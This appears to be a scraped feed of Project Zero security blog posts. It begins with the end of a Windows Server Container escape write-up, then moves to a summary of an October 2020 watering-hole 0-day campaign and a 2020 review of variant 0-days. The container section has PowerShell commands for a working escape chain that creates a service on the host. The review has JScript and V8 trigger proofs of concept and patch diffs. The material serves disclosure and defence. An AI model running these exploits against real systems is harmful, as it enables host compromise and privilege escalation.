This is basically a more powerful version of the global symlink vulnerability but requires no administrator privileges to function. Again, as with the registry issue you’re still limited in what you can modify outside of the containers based on the token in the container. But you can read files on disk, or interact with ALPC ports on the host system.

The exploit in PowerShell is pretty straightforward using my toolchain:

PS> $root = Get-NtDirectory "\"

PS> $root.FullPath


PS> $silo = New-NtJob -CreateSilo -NoSiloRootDirectory

PS> Set-NtProcessJob $silo -Current

PS> $root.FullPath


To test the exploit we first open the current root directory object and then print its full path as the kernel sees it. Even though the silo root isn’t really a root directory the kernel makes it look like it is by returning a single backslash as the path.

We then create the application silo using the New-NtJob command. You need to specify NoSiloRootDirectory to prevent the code trying to create a root directory which we don’t want and can’t be done from a non-administrator account anyway. We can then assign the application silo to the process.

Now we can check the root directory path again. We now find the root directory is really called \Silos\748 instead of just a single backslash. This is because the kernel is now using the root root directory. At this point you can access resources on the host through the object manager.

Chaining the Exploits

We can now combine these issues together to escape the container completely from ContainerUser. First get hold of an administrator token through something like RogueWinRM, you can then impersonate it due to having SeImpersonatePrivilege. Then you can use the object manager root directory issue to access the host’s service control manager (SCM) using the ALPC port to create a new service. You don’t even need to copy an executable outside the container as the system volume for the container is an accessible device on the host we can just access.

As far as the host’s SCM is concerned you’re an administrator and so it’ll grant you full access to create an arbitrary service. However, when that service starts it’ll run in the host, not in the container, removing all restrictions. One quirk which can make exploitation unreliable is the SCM’s RPC handle can be cached by the Win32 APIs. If any connection is made to the SCM in any part of PowerShell before installing the service you will end up accessing the container’s SCM, not the hosts.

To get around this issue we can just access the RPC service directly using NtObjectManager’s RPC commands.

PS> $imp = $token.Impersonate()

PS> $sym_path = "$env:SystemDrive\symbols"

PS> mkdir $sym_path | Out-Null

PS> $services_path = "$env:SystemRoot\system32\services.exe"

PS> $cmd = 'cmd /C echo "Hello World" > \hello.txt'

# You can also use the following to run a container based executable.

#$cmd = Use-NtObject($f = Get-NtFile -Win32Path "demo.exe") {

#   "\\.\GLOBALROOT" + $f.FullPath


PS> Get-Win32ModuleSymbolFile -Path $services_path -OutPath $sym_path

PS> $rpc = Get-RpcServer $services_path -SymbolPath $sym_path | 

   Select-RpcServer -InterfaceId '367abb81-9844-35f1-ad32-98f038001003'

PS> $client = Get-RpcClient $rpc

PS> $silo = New-NtJob -CreateSilo -NoSiloRootDirectory

PS> Set-NtProcessJob $silo -Current

PS> Connect-RpcClient $client -EndpointPath ntsvcs

PS> $scm = $client.ROpenSCManagerW([NullString]::Value, `

 [NullString]::Value, `


PS> $service = $client.RCreateServiceW($scm.p3, "GreatEscape", "", `

 [NtApiDotNet.Win32.ServiceAccessRights]::Start, 0x10, 0x3, 0, $cmd, `

 [NullString]::Value, $null, $null, 0, [NullString]::Value, $null, 0)

PS> $client.RStartServiceW($service.p15, 0, $null)

For this code to work it’s expected you have an administrator token in the $token variable to impersonate. Getting that token is left as an exercise for the reader. When you run it in a container the result should be the file hello.txt written to the root of the host’s system drive.

Getting the Issues Fixed

I have some server silo escapes, now what? I would prefer to get them fixed, however as already mentioned MSRC servicing criteria pointed out that Windows Server Containers are not a supported security boundary.

I decided to report the registry symbolic link issue immediately, as I could argue that was something which would allow privilege escalation inside a container from a non-administrator. This would fit within the scope of a normal bug I’d find in Windows, it just required a special environment to function. This was issue 2120 which was fixed in February 2021 as CVE-2021-24096. The fix was pretty straightforward, the call to PsIsCurrentThreadInServerSilo was removed as it was presumably redundant.

The issue with ContainerUser having SeImpersonatePrivilege could be by design. I couldn’t find any official Microsoft or Docker documentation describing the behavior so I was wary of reporting it. That would be like reporting that a normal service account has the privilege, which is by design. So I held off on reporting this issue until I had a better understanding of the security expectations.

The situation with the other two silo escapes was more complicated as they explicitly crossed an undefended boundary. There was little point reporting them to Microsoft if they wouldn’t be fixed. There would be more value in publicly releasing the information so that any users of the containers could try and find mitigating controls, or stop using Windows Server Container for anything where untrusted code could ever run.

After much back and forth with various people in MSRC a decision was made. If a container escape works from a non-administrator user, basically if you can access resources outside of the container, then it would be considered a privilege escalation and therefore serviceable. This means that Daniel’s global symbolic link bug which kicked this all off still wouldn’t be eligible as it required SeTcbPrivilege which only administrators should be able to get. It might be fixed at some later point, but not as part of a bulletin.

I reported the three other issues (the ContainerUser issue was also considered to be in scope) as 2127, 2128 and 2129. These were all fixed in March 2021 as CVE-2021-26891, CVE-2021-26865 and CVE-2021-26864 respectively.

Microsoft has not changed the MSRC servicing criteria at the time of writing. However, they will consider fixing any issue which on the surface seems to escape a Windows Server Container but doesn’t require administrator privileges. It will be classed as an elevation of privilege.


The decision by Microsoft to not support Windows Server Containers as a security boundary looks to be a valid one, as there’s just so much attack surface here. While I managed to get four issues fixed I doubt that they’re the only ones which could be discovered and exploited. Ideally you should never run untrusted workloads in a Windows Server Container, but then it also probably shouldn’t provide remotely accessible services either. The only realistic use case for them is for internally visible services with little to no interactions with the rest of the world. The official guidance for GKE is to not use Windows Server Containers in hostile multi-tenancy scenarios. This is covered in the GKE documentation here.

Obviously, the recommended approach is to use Hyper-V isolation. That moves the needle and Hyper-V is at least a supported security boundary. However container escapes are still useful as getting full access to the hosting VM could be quite important in any successful escape. Not everyone can run Hyper-V though, which is why GKE isn't currently using it.

In-the-Wild Series: October 2020 0-day discovery

18 March 2021 at 16:45
By: Ryan

Posted by Maddie Stone, Project Zero

In October 2020, Google Project Zero discovered seven 0-day exploits being actively used in-the-wild. These exploits were delivered via "watering hole" attacks in a handful of websites pointing to two exploit servers that hosted exploit chains for Android, Windows, and iOS devices. These attacks appear to be the next iteration of the campaign discovered in February 2020 and documented in this blog post series.

In this post we are summarizing the exploit chains we discovered in October 2020. We have already published the details of the seven 0-day vulnerabilities exploited in our root cause analysis (RCA) posts. This post aims to provide the context around these exploits.

What happened

In October 2020, we discovered that the actor from the February 2020 campaign came back with the next iteration of their campaign: a couple dozen websites redirecting to an exploit server. Once our analysis began, we discovered links to a second exploit server on the same website. After initial fingerprinting (appearing to be based on the origin of the IP address and the user-agent), an iframe was injected into the website pointing to one of the two exploit servers. 

In our testing, both of the exploit servers existed on all of the discovered domains. A summary of the two exploit servers is below:

Exploit server #1:

  • Initially responded to only iOS and Windows user-agents
  • Remained up and active for over a week from when we first started pulling exploits
  • Replaced the Chrome renderer RCE with a new v8 0-day (CVE-2020-16009) after the initial one (CVE-2020-15999) was patched
  • Briefly responded to Android user-agents after exploit server #2 went down (though we were only able to get the new Chrome renderer RCE)

Exploit server #2:

  • Responded to Android user-agents
  • Remained up and active for ~36 hours from when we first started pulling exploits
  • In our experience, responded to a much smaller block of IP addresses than exploit server #1

The diagram above shows the flow of a device connecting to one of the affected websites. The device is directed to either exploit server #1 or exploit server #2. The following exploits are then delivered based on the device and browser.

Exploit Server



Renderer RCE

Sandbox Escape

Local Privilege Escalation




Stack R/W via Type 1 Fonts (CVE-2020-27930)

Not needed

Info leak via mach message trailers (CVE-2020-27950)

Type confusion with turnstiles (CVE-2020-27932)




Freetype heap buffer overflow


Not needed

cng.sys heap buffer overflow (CVE-2020-17087)



** Note: This was only delivered after #2 went down and CVE-2020-15999 was patched.


V8 type confusion in TurboFan (CVE-2020-16009)






Freetype heap buffer overflow


Chrome for Android head buffer overflow (CVE-2020-16010)




Samsung Browser

Freetype heap buffer overflow


Chromium n-day


All of the platforms employed obfuscation and anti-analysis checks, but each platform's obfuscation was different. For example, iOS is the only platform whose exploits were encrypted with ephemeral keys, meaning that the exploits couldn't be recovered from the packet dump alone, instead requiring an active MITM on our side to rewrite the exploit on-the-fly.

These operational exploits also lead us to believe that while the entities between exploit servers #1 and #2 are different, they are likely working in a coordinated fashion. Both exploit servers used the Chrome Freetype RCE (CVE-2020-15999) as the renderer exploit for Windows (exploit server #1) and Android (exploit server #2), but the code that surrounded these exploits was quite different. The fact that the two servers went down at different times also lends us to believe that there were two distinct operators.

The exploits

In total, we collected:

  • 1 full chain targeting fully patched Windows 10 using Google Chrome
  • 2 partial chains targeting 2 different fully patched Android devices running Android 10 using Google Chrome and Samsung Browser, and
  • RCE exploits for iOS 11-13 and privilege escalation exploit for iOS 13 (though the vulnerabilities were present up to iOS 14.1)

*Note: iOS, Android, and Windows were the only devices we tested while the servers were still active. The lack of other exploit chains does not mean that those chains did not exist.

The seven 0-days exploited by this attacker are listed below. We’ve provided the technical details of each of the vulnerabilities and their exploits in the root cause analyses.

We were not able to collect any Android local privilege escalations prior to exploit server #2 being taken down. Exploit server #1 stayed up longer, and we were able to retrieve the privilege escalation exploits for iOS.

The vulnerabilities cover a fairly broad spectrum of issues - from a modern JIT vulnerability to a large cache of font bugs. Overall each of the exploits themselves showed an expert understanding of exploit development and the vulnerability being exploited. In the case of the Chrome Freetype 0-day, the exploitation method was novel to Project Zero. The process to figure out how to trigger the iOS kernel privilege vulnerability would have been non-trivial. The obfuscation methods were varied and time-consuming to figure out.


Project Zero closed out 2020 with lots of long days analyzing lots of 0-day exploit chains and seven 0-day exploits. When combined with their earlier 2020 operation, the actor used at least 11 0-days in less than a year. We are so thankful to all of the vendors and defensive response teams who worked their own long days to analyze our reports and get patches released and applied.

Déjà vu-lnerability

3 February 2021 at 17:10
By: Ryan

A Year in Review of 0-days Exploited In-The-Wild in 2020

Posted by Maddie Stone, Project Zero

2020 was a year full of 0-day exploits. Many of the Internet’s most popular browsers had their moment in the spotlight. Memory corruption is still the name of the game and how the vast majority of detected 0-days are getting in. While we tried new methods of 0-day detection with modest success, 2020 showed us that there is still a long way to go in detecting these 0-day exploits in-the-wild. But what may be the most notable fact is that 25% of the 0-days detected in 2020 are closely related to previously publicly disclosed vulnerabilities. In other words, 1 out of every 4 detected 0-day exploits could potentially have been avoided if a more thorough investigation and patching effort were explored. Across the industry, incomplete patches — patches that don’t correctly and comprehensively fix the root cause of a vulnerability — allow attackers to use 0-days against users with less effort.

Since mid-2019, Project Zero has dedicated an effort specifically to track, analyze, and learn from 0-days that are actively exploited in-the-wild. For the last 6 years, Project Zero’s mission has been to “make 0-day hard”. From that came the goal of our in-the-wild program: “Learn from 0-days exploited in-the-wild in order to make 0-day hard.” In order to ensure our work is actually making it harder to exploit 0-days, we need to understand how 0-days are actually being used. Continuously pushing forward the public’s understanding of 0-day exploitation is only helpful when it doesn’t diverge from the “private state-of-the-art”, what attackers are doing and are capable of.

Over the last 18 months, we’ve learned a lot about the active exploitation of 0-days and our work has matured and evolved with it. For the 2nd year in a row, we’re publishing a “Year in Review” report of the previous year’s detected 0-day exploits. The goal of this report is not to detail each individual exploit, but instead to analyze the exploits from the year as a group, looking for trends, gaps, lessons learned, successes, etc. If you’re interested in each individual exploit’s analysis, please check out our root cause analyses.

When looking at the 24 0-days detected in-the-wild in 2020, there’s an undeniable conclusion: increasing investment in correct and comprehensive patches is a huge opportunity for our industry to impact attackers using 0-days. 

A correct patch is one that fixes a bug with complete accuracy, meaning the patch no longer allows any exploitation of the vulnerability. A comprehensive patch applies that fix everywhere that it needs to be applied, covering all of the variants. We consider a patch to be complete only when it is both correct and comprehensive. When exploiting a single vulnerability or bug, there are often multiple ways to trigger the vulnerability, or multiple paths to access it. Many times we’re seeing vendors block only the path that is shown in the proof-of-concept or exploit sample, rather than fixing the vulnerability as a whole, which would block all of the paths. Similarly, security researchers are often reporting bugs without following up on how the patch works and exploring related attacks.

While the idea that incomplete patches are making it easier for attackers to exploit 0-days may be uncomfortable, the converse of this conclusion can give us hope. We have a clear path toward making 0-days harder. If more vulnerabilities are patched correctly and comprehensively, it will be harder for attackers to exploit 0-days.

This vulnerability looks familiar 🤔

As stated in the introduction, 2020 included 0-day exploits that are similar to ones we’ve seen before. 6 of 24 0-days exploits detected in-the-wild are closely related to publicly disclosed vulnerabilities. Some of these 0-day exploits only had to change a line or two of code to have a new working 0-day exploit. This section explains how each of these 6 actively exploited 0-days are related to a previously seen vulnerability. We’re taking the time to detail each and show the minimal differences between the vulnerabilities to demonstrate that once you understand one of the vulnerabilities, it’s much easier to then exploit another.


Vulnerability exploited in-the-wild

Variant of...

Microsoft Internet Explorer


CVE-2018-8653* CVE-2019-1367* CVE-2019-1429*

Mozilla Firefox


Mozilla Bug 1507180

Google Chrome




Microsoft Windows



Google Chrome/Freetype



Apple Safari



* vulnerability was also exploited in-the-wild in previous years


Internet Explorer JScript CVE-2020-0674

CVE-2020-0674 is the fourth vulnerability that’s been exploited in this bug class in 2 years. The other three vulnerabilities are CVE-2018-8653, CVE-2019-1367, and CVE-2019-1429. In the 2019 year-in-review we devoted a section to these vulnerabilities. Google’s Threat Analysis Group attributed all four exploits to the same threat actor. It bears repeating, the same actor exploited similar vulnerabilities four separate times. For all four exploits, the attacker used the same vulnerability type and the same exact exploitation method. Fixing these vulnerabilities comprehensively the first time would have caused attackers to work harder or find new 0-days.

JScript is the legacy Javascript engine in Internet Explorer. While it’s legacy, by default it is still enabled in Internet Explorer 11, which is a built-in feature of Windows 10 computers. The bug class, or type of vulnerability, is that a specific JScript object, a variable (uses the VAR struct), is not tracked by the garbage collector. I’ve included the code to trigger each of the four vulnerabilities below to demonstrate how similar they are. Ivan Fratric from Project Zero wrote all of the included code that triggers the four vulnerabilities.


In December 2018, it was discovered that CVE-2018-8653 was being actively exploited. In this vulnerability, the this variable is not tracked by the garbage collector in the isPrototypeof callback. McAfee also wrote a write-up going through each step of this exploit.

var objs = new Array();

var refs = new Array();

var dummyObj = new Object();

function getFreeRef()


  // 5. delete prototype objects as well as ordinary objects

  for ( var i = 0; i < 10000; i++ ) {

    objs[i] = 1;



  for ( var i = 0; i < 200; i++ )


    refs[i].prototype = 1;


  // 6. Garbage collector frees unused variable blocks.

  // This includes the one holding the "this" variable


  // 7. Boom



// 1. create "special" objects for which isPrototypeOf can be invoked

for ( var i = 0; i < 200; i++ ) {

        var arr = new Array({ prototype: {} });

        var e = new Enumerator(arr);

        refs[i] = e.item();


// 2. create a bunch of ordinary objects

for ( var i = 0; i < 10000; i++ ) {

        objs[i] = new Object();


// 3. create objects to serve as prototypes and set up callbacks

for ( var i = 0; i < 200; i++ ) {

        refs[i].prototype = {};

        refs[i].prototype.isPrototypeOf = getFreeRef;


// 4. calls isPrototypeOf. This sets up refs[100].prototype as "this" variable

// During callback, the "this" variable won't be tracked by the Garbage collector

// use different index if this doesn't work

dummyObj instanceof refs[100];


In September 2019, CVE-2019-1367 was detected as exploited in-the-wild. This is the same vulnerability type as CVE-2018-8653: a JScript variable object is not tracked by the garbage collector. This time though the variables that are not tracked are in the arguments array in the Array.sort callback.

var spray = new Array();

function F() {

    // 2. Create a bunch of objects

    for (var i = 0; i < 20000; i++) spray[i] = new Object();

    // 3. Store a reference to one of them in the arguments array

    //    The arguments array isn't tracked by garbage collector

    arguments[0] = spray[5000];

    // 4. Delete the objects and call the garbage collector

    //    All JSCript variables get reclaimed...

    for (var i = 0; i < 20000; i++) spray[i] = 1;


    // 5. But we still have reference to one of them in the

    //    arguments array



// 1. Call sort with a custom callback



The CVE-2019-1367 patch did not actually fix the vulnerability triggered by the proof-of-concept above and exploited in the in-the-wild. The proof-of-concept for CVE-2019-1367 still worked even after the CVE-2019-1367 patch was applied!

In November 2019, Microsoft released another patch to address this gap. CVE-2019-1429 addressed the shortcomings of the CVE-2019-1367 and also fixed a variant. The variant is that the variables in the arguments array are not tracked by the garbage collector in the toJson callback rather than the Array.sort callback. The only difference between the variant triggers is the highlighted lines. Instead of calling the Array.sort callback, we call the toJSON callback.

var spray = new Array();

function F() {

    // 2. Create a bunch of objects

    for (var i = 0; i < 20000; i++) spray[i] = new Object();

    // 3. Store a reference to one of them in the arguments array

    //    The arguments array isn't tracked by garbage collector

    arguments[0] = spray[5000];

    // 4. Delete the objects and call the garbage collector

    //    All JSCript variables get reclaimed...

    for (var i = 0; i < 20000; i++) spray[i] = 1;


    // 5. But we still have reference to one of them in the

    //    arguments array



+  // 1. Cause toJSON callback to fire

+  var o = {toJSON:F}

+  JSON.stringify(o);

-  // 1. Call sort with a custom callback

-  [1,2].sort(F);


In January 2020, CVE-2020-0674 was detected as exploited in-the-wild. The vulnerability is that the named arguments are not tracked by the garbage collector in the Array.sort callback. The only changes required to the trigger for CVE-2019-1367 is to change the references to arguments[] to one of the arguments named in the function definition. For example, we replaced any instances of arguments[0] with arg1.

var spray = new Array();

+  function F(arg1, arg2) {

-  function F() {

    // 2. Create a bunch of objects

    for (var i = 0; i < 20000; i++) spray[i] = new Object();

    // 3. Store a reference to one of them in one of the named arguments

    //    The named arguments aren't tracked by garbage collector

+    arg1 = spray[5000];

-    arguments[0] = spray[5000];

    // 4. Delete the objects and call the garbage collector

    //    All JScript variables get reclaimed...

    for (var i = 0; i < 20000; i++) spray[i] = 1;


    // 5. But we still have reference to one of them in

    //   a named argument

+    alert(arg1);

-    alert(arguments[0]);


// 1. Call sort with a custom callback



Unfortunately CVE-2020-0674 was not the end of this story, even though it was the fourth vulnerability of this type to be exploited in-the-wild. In April 2020, Microsoft patched CVE-2020-0968, another Internet Explorer JScript vulnerability. When the bulletin was first released, it was designated as exploited in-the-wild, but the following day, Microsoft changed this field to say it was not exploited in-the-wild (see the revisions section at the bottom of the advisory).

var spray = new Array();

function f1() {

  alert('callback 1');

  return spray[6000];


function f2() {

  alert('callback 2');

  spray = null;


  return 'a'


function boom() {

  var e = o1;

  var d = o2;

  // 3. the first callback (e.toString) happens

  //    it returns one of the string variables

  //    which is stored in a temporary variable

  //    on the stack, not tracked by garbage collector

  // 4. Second callback (d.toString) happens

  //    There, string variables get freed

  //    and the space reclaimed

  // 5. Crash happens when attempting to access

  //    string content of the temporary variable

  var b = e + d;



// 1. create two objects with toString callbacks

var o1 = { toString: f1 };

var o2 = { toString: f2 };

// 2. create a bunch of string variables

for (var a = 0; a < 20000; a++) {

  spray[a] = "aaa";



In addition to the vulnerabilities themselves being very similar, the attacker used the same exploit method for each of the four 0-day exploits. This provided a type of “plug and play” quality to their 0-day development which would have reduced the amount of work required for each new 0-day exploit.

Firefox CVE-2020-6820

Mozilla patched CVE-2020-6820 in Firefox with an out-of-band security update in April 2020. It is a use-after-free in the Cache subsystem.

CVE-2020-6820 is a use-after-free of the CacheStreamControlParent when closing its last open read stream. The read stream is the response returned to the context process from a cache query. If the close or abort command is received while any read streams are still open, it triggers StreamList::CloseAll. If the StreamControl (must be the Parent which lives in the browser process in order to get the use-after-free in the browser process; the Child would only provide in renderer) still has ReadStreams when StreamList::CloseAll is called, then this will cause the CacheStreamControlParent to be freed. The mId member of the CacheStreamControl parent is then subsequently accessed, causing the use-after-free.

The execution patch for CVE-2020-6820 is:

StreamList::CloseAll  Patched function




        For each stream: 










                          If StreamList is empty && mStreamControl:


                             Send__delete(this)  FREED HERE!

    PCacheStreamControlParent::SendCloseAll  Used here in call to Id()

CVE-2020-6820 is a variant of an internally found Mozilla vulnerability, Bug 1507180. 1507180 was discovered in November 2018 and patched in December 2019. 1507180 is a use-after-free of the ReadStream in mReadStreamList in StreamList::CloseAll. While it was patched in December, an explanatory comment for why the December 2019 patch was needed was added in early March 2020.

For 150718 the execution path was the same as for CVE-2020-6820 except that the the use-after-free occurred earlier, in StreamControl::CloseAllReadStreams rather than a few calls “higher” in StreamList::CloseAll. 

In my personal opinion, I have doubts about whether or not this vulnerability was actually exploited in-the-wild. As far as we know, no one (including myself or Mozilla engineers [1, 2]), has found a way to trigger this exploit without shutting down the process. Therefore, exploiting this vulnerability doesn’t seem very practical. However, because it was marked as exploited in-the-wild in the advisory, it remains in our in-the-wild tracking spreadsheet and thus included in this list.

Chrome for Android CVE-2020-6572

CVE-2020-6572 is use-after-free in MediaCodecAudioDecoder::~MediaCodecAudioDecoder(). This is Android-specific code that uses Android's media decoding APIs to support playback of DRM-protected media on Android. The root of this use-after-free is that a `unique_ptr` is assigned to another, going out of scope which means it can be deleted, while at the same time a raw pointer from the originally referenced object isn't updated.  

More specifically, MediaCodecAudioDecoder::Initialize doesn't reset media_crypto_context_ if media_crypto_ has been previously set. This can occur if MediaCodecAudioDecoder::Initialize is called twice, which is explicitly supported. This is problematic when the second initialization uses a different CDM than the first one. Each CDM owns the media_crypto_context_ object, and the CDM itself (cdm_context_ref_) is a `unique_ptr`. Once the new CDM is set, the old CDM loses a reference and may be destructed. However, MediaCodecAudioDecoder still holds a raw pointer to media_crypto_context_ from the old CDM since it wasn't updated, which results in the use-after-free on media_crypto_context_ (for example, in MediaCodecAudioDecoder::~MediaCodecAudioDecoder).

This vulnerability that was exploited in-the-wild was reported in April 2020. 7 months prior, in September 2019, Man Yue Mo of Semmle reported a very similar vulnerability, CVE-2019-13695. CVE-2019-13695 is also a use-after-free on a dangling media_crypto_context_ in MojoAudioDecoderService after releasing the cdm_context_ref_. This vulnerability is essentially the same bug as CVE-2020-6572, it’s just triggered by an error path after initializing MojoAudioDecoderService twice rather than by reinitializing the MediaCodecAudioDecoder.

In addition, in August 2019, Guang Gong of Alpha Team, Qihoo 360 reported another similar vulnerability in the same component. The vulnerability is where the CDM could be registered twice (e.g. MojoCdmService::Initialize could be called twice) leading to use-after-free. When MojoCdmService::Initialize was called twice there would be two map entries in cdm_services_, but only one would be removed upon destruction, and the other was left dangling. This vulnerability is CVE-2019-5870. Guang Gong used this vulnerability as a part of an Android exploit chain. He presented on this exploit chain at Blackhat USA 2020, “TiYunZong: An Exploit Chain to Remotely Root Modern Android Devices”.

While one could argue that the vulnerability from Guang Gong is not a variant of the vulnerability exploited in-the-wild, it was at the very least an early indicator that the Mojo CDM code for Android had life-cycle issues and needed a closer look. This was noted in the issue tracker for CVE-2019-5870 and then brought up again after Man Yue Mo reported CVE-2019-13695.

Windows splwow64 CVE-2020-0986

CVE-2020-0986 is an arbitrary pointer dereference in Windows splwow64. Splwow64 is executed any time a 32-bit application wants to print a document. It runs as a Medium integrity process. Internet Explorer runs as a 32-bit application and a Low integrity process. Internet Explorer can send LPC messages to splwow64. CVE-2020-0986 allows an attacker in the Internet Explorer process to control all three arguments to a memcpy call in the more privileged splwow64 address space. The only difference between CVE-2020-0986 and CVE-2019-0880, which was also exploited in-the-wild, is that CVE-2019-0880 exploited the memcpy by sending message type 0x75 and CVE-2020-0986 exploits it by sending message type 0x6D.

From this great write-up from ByteRaptors on CVE-2019-0880 the pseudo code that allows the controlling of the memcpy is:

void GdiPrinterThunk(LPVOID firstAddress, LPVOID secondAddress, LPVOID thirdAddress)



    if(*((BYTE*)(firstAddress + 0x4)) == 0x75){

      ULONG64 memcpyDestinationAddress = *((ULONG64*)(firstAddress + 0x20));

      if(memcpyDestinationAddress != NULL){

        ULONG64 sourceAddress = *((ULONG64*)(firstAddress + 0x18));

        DWORD copySize = *((DWORD*)(firstAddress + 0x28));






The equivalent pseudocode for CVE-2020-0986 is below. Only the message type (0x75 to 0x6D) and the offsets of the controlled memcpy arguments changed as highlighted below.

void GdiPrinterThunk(LPVOID msgSend, LPVOID msgReply, LPVOID arg3)



    if(*((BYTE*)(msgSend + 0x4)) == 0x6D){


     ULONG64 srcAddress = **((ULONG64 **)(msgSend + 0xA)); 

     if(srcAddress != NULL){

        DWORD copySize = *((DWORD*)(msgSend + 0x40));

           if(copySize <= 0x1FFFE) {

                ULONG64 destAddress = *((ULONG64*)(msgSend + 0xB));






In addition to CVE-2020-0986 being a trivial variant of a previous in-the-wild vulnerability, CVE-2020-0986 was also not patched completely and the vulnerability was still exploitable even after the patch was applied. This is detailed in the “Exploited 0-days not properly fixed” section below.

Freetype CVE-2020-15999

In October 2020, Project Zero discovered multiple exploit chains being used in the wild. The exploit chains targeted iPhone, Android, and Windows users, but they all shared the same Freetype RCE to exploit the Chrome renderer, CVE-2020-15999. The vulnerability is a heap buffer overflow in the Load_SBit_Png function. The vulnerability was being triggered by an integer truncation. `Load_SBit_Png` processes PNG images embedded in fonts. The image width and height are stored in the PNG header as 32-bit integers. Freetype then truncated them to 16-bit integers. This truncated value was used to calculate the bitmap size and the backing buffer is allocated to that size. However, the original 32-bit width and height values of the bitmap are used when reading the bitmap into its backing buffer, thus causing the buffer overflow.

In November 2014, Project Zero team member Mateusz Jurczyk reported CVE-2014-9665 to Freetype. CVE-2014-9665 is also a heap buffer overflow in the Load_SBit_Png function. This one was triggered differently though. In CVE-2014-9665, when calculating the bitmap size, the size variable is vulnerable to an integer overflow causing the backing buffer to be too small.

To patch CVE-2014-9665, Freetype added a check to the rows and width prior to calculating the size as shown below.

if ( populate_map_and_metrics )


      FT_Long  size;

      metrics->width  = (FT_Int)imgWidth;

      metrics->height = (FT_Int)imgHeight;

      map->width      = metrics->width;

      map->rows       = metrics->height;

      map->pixel_mode = FT_PIXEL_MODE_BGRA;

      map->pitch      = map->width * 4;

      map->num_grays  = 256;

+      /* reject too large bitmaps similarly to the rasterizer */

+      if ( map->rows > 0x7FFF || map->width > 0x7FFF )

+      {

+        error = FT_THROW( Array_Too_Large );

+        goto DestroyExit;

+      }

      size = map->rows * map->pitch; <- overflow size

      error = ft_glyphslot_alloc_bitmap( slot, size );

      if ( error )

        goto DestroyExit;


To patch CVE-2020-15999, the vulnerability exploited in the wild in 2020, this check was moved up earlier in the `Load_Sbit_Png` function and changed to `imgHeight` and `imgWidth`, the width and height values that are included in the header of the PNG.

     if ( populate_map_and_metrics )


+      /* reject too large bitmaps similarly to the rasterizer */

+      if ( imgWidth > 0x7FFF || imgHeight > 0x7FFF )

+      {

+        error = FT_THROW( Array_Too_Large );

+        goto DestroyExit;

+      }


       metrics->width  = (FT_UShort)imgWidth;

       metrics->height = (FT_UShort)imgHeight;

       map->width      = metrics->width;

       map->rows       = metrics->height;

       map->pixel_mode = FT_PIXEL_MODE_BGRA;

       map->pitch      = map->width * 4;

       map->num_grays  = 256;

-      /* reject too large bitmaps similarly to the rasterizer */

-      if ( map->rows > 0x7FFF || map->width > 0x7FFF )

-      {

-        error = FT_THROW( Array_Too_Large );

-        goto DestroyExit;

-      }


To summarize:

  • CVE-2014-9665 caused a buffer overflow by overflowing the size field in the size = map->rows * map->pitch; calculation.
  • CVE-2020-15999 caused a buffer overflow by truncating metrics->width and metrics->height which are then used to calculate the size field, thus causing the size field to be too small.

A fix for the root cause of the buffer overflow in November 2014 would have been to bounds check imgWidth and imgHeight prior to any assignments to an unsigned short. Including the bounds check of the height and widths from the PNG headers early would have prevented both manners of triggering this buffer overflow.

Apple Safari CVE-2020-27930

This vulnerability is slightly different than the rest in that while it’s still a variant, it’s not clear that by current disclosure norms, one would have necessarily expected Apple to have picked up the patch. Apple and Microsoft both forked the Adobe Type Manager code over 20 years ago. Due to the forks, there’s no true “upstream”. However when vulnerabilities were reported in Microsoft’s, Apple’s, or Adobe’s fork, there is a possibility (though no guarantee) that it was also in the others.

CVE-2020-27930 vulnerability was used in an exploit chain for iOS. The variant, CVE-2015-0993, was reported to Microsoft in November 2014. In CVE-2015-0993, the vulnerability is in the blend operator in Microsoft’s implementation of Adobe’s Type 1/2 Charstring Font Format. The blend operation takes n + 1 parameters. The vulnerability is that it did not validate or handle correctly when n is negative, allowing the font to arbitrarily read and write on the native interpreter stack.

CVE-2020-27930, the vulnerability exploited in-the-wild in 2020, is very similar. The vulnerability this time is in the callothersubr operator in Apple’s implementation of Adobe’s Type 1 Charstring Font Format. In the same way as the vulnerability reported in November 2014, callothersubr expects n arguments from the stack. However, the function did not validate nor handle correctly negative values of n, leading to the same outcome of arbitrary stack read/write.

Six years after the original vulnerability was reported, a similar vulnerability was exploited in a different project. This presents an interesting question: How do related, but separate, projects stay up-to-date on security vulnerabilities that likely exist in their fork of a common code base? There’s little doubt that reviewing the vulnerability Microsoft fixed in 2015 would help the attackers discover this vulnerability in Apple.

Exploited 0-days not properly fixed… 😭

Three vulnerabilities that were exploited in-the-wild were not properly fixed after they were reported to the vendor.


Vulnerability that was exploited in-the-wild

2nd patch

Internet Explorer



Google Chrome



Microsoft Windows



* when CVE-2019-13764 was patched, it was not known to be exploited in-the-wild

Internet Explorer JScript CVE-2020-0674

In the section above, we detailed the timeline of the Internet Explorer JScript vulnerabilities that were exploited in-the-wild. After the most recent vulnerability, CVE-2020-0674, was exploited in January 2020, it still didn’t comprehensively fix all of the variants. Microsoft patched CVE-2020-0968 in April 2020. We show the trigger in the section above.

Google Chrome CVE-2019-13674

CVE-2019-13674 in Chrome is an interesting case. When it was patched in November 2019, it was not known to be exploited in-the-wild. Instead, it was reported by security researchers Soyeon Park and Wen Xu. Three months later, in February 2020, Sergei Glazunov of Project Zero discovered that it was exploited in-the-wild, and may have been exploited as a 0-day prior to the patch. When Sergei realized it had already been patched, he decided to look a little closer at the patch. That’s when he realized that the patch didn’t fix all of the paths to trigger the vulnerability. To read about the vulnerability and the subsequent patches in greater detail, check out Sergei’s blog post, “Chrome Infinity Bug”.

To summarize, the vulnerability is a type confusion in Chrome’s v8 Javascript engine. The issue is in the function that is designed to compute the type of induction variables, the variable that gets increased or decreased by a fixed amount in each iteration of a loop, such as a for loop. The algorithm works only on v8’s integer type though. The integer type in v8 includes a few special values, +Infinity and -Infinity. -0 and NaN do not belong to the integer type though. Another interesting aspect to v8’s integer type is that it is not closed under addition meaning that adding two integers doesn’t always result in an integer. An example of this is +Infinity + -Infinity = NaN.

Therefore, the following line is sufficient to trigger CVE-2019-13674. Note that this line will not show any observable crash effects and the road to making this vulnerability exploitable is quite long, check out this blog post if you’re interested!

for (var i = -Infinity; i < 0; i += Infinity) { }

The patch that Chrome released for this vulnerability added an explicit check for the NaN case. But the patch made an assumption that leads to it being insufficient: that the loop variable can only become NaN if the sum or difference of the initial value of the variable and the increment is NaN. The issue is that the value of the increment can change inside the loop body. Therefore the following trigger would still work even after the patch was applied.

var increment = -Infinity;

var k = 0;

// The initial loop value is 0 and the increment is -Infinity.

// This is permissible because 0 + -Infinity = -Infinity, an integer.

for (var i = 0; i < 1; i += increment) {

  if (i == -Infinity) {

    // Once the initial variable equals -Infinity (one loop through)

